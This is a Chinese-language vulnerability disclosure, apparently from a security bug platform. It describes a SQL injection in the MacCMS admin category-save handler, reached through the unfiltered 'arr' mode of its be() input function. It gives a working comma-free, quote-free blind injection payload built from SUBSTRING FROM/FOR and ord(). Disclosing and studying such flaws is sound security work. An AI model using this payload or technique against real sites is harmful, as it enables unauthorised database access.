### 简要描述:
官网刚下的程序,确认不重复。利用起来特别有意思。
### 详细说明:
苹果CMS使用be函数来获取参数
```
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
```
其中arr方法没有过滤,因此开始找一个arr的点。终于找到一个能利用的。
在admin\tpl\module\art.php文件中存在
```
elseif($method=='typesaveall')
{
$t_id = be('arr','t_id'); //使用了arr方法
$ids = explode(',',$t_id);
foreach($ids as $id){
$t_name = be('post','t_name' .$id);
$t_enname = be('post','t_enname' .$id) ;
$t_sort = be('post','t_sort' .$id);
$t_tpl = be('post','t_tpl' .$id);
$t_tpl_art = be('post','t_tpl_art' .$id);
if (isN($t_name)) { $t_name='未知';}
if (isN($t_enname)) { $t_enname='weizhi';}
if (!isNum($t_sort)) { $t_sort=0;}
if (isN($t_tpl)) { $t_tpl = 'artlist.html';}
if (isN($t_tpl_art)) { $t_tpl_art = 'art.html';}
$db->Update ('{pre}art_type',array('t_name','t_enname', 't_sort','t_tpl','t_tpl_art'),array($t_name,$t_enname,$t_sort,$t_tpl,$t_tpl_art),'t_id='.$id); //最终带入了sql语句中。
}
updateCacheFile();
redirect( getReferer() );
}
```
### 漏洞证明:
这个点比较有意思的就是虽然带入了语句,但是是update的类型,最后使用盲注。
但是又不能使用逗号,经过多方咨询终于搞定。
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring
substring方法存在
类似:
SELECT SUBSTRING('Sakila' FROM -4 FOR 2);这样的方法即可不适用逗号
使用ord避免了单引号出现。
最后利用
or 1 = (select ord(substring(user() from 1 for 1))=114)-- 1;
来判断是否成功。
初始下
[<img src="https://images.seebug.org/upload/201409/1116564628161ff7443642a0ec2feb2ee5627cc0.png" alt="7777.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1116564628161ff7443642a0ec2feb2ee5627cc0.png)
插入语句
[<img src="https://images.seebug.org/upload/201409/111657424d3de40c04eb35fef1dd5a46d8aca77d.png" alt="8888.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/111657424d3de40c04eb35fef1dd5a46d8aca77d.png)
这里必须多条更新,插入到最后一条中,这样or成立,标签1就会被重置。就判断成功了。
暂无评论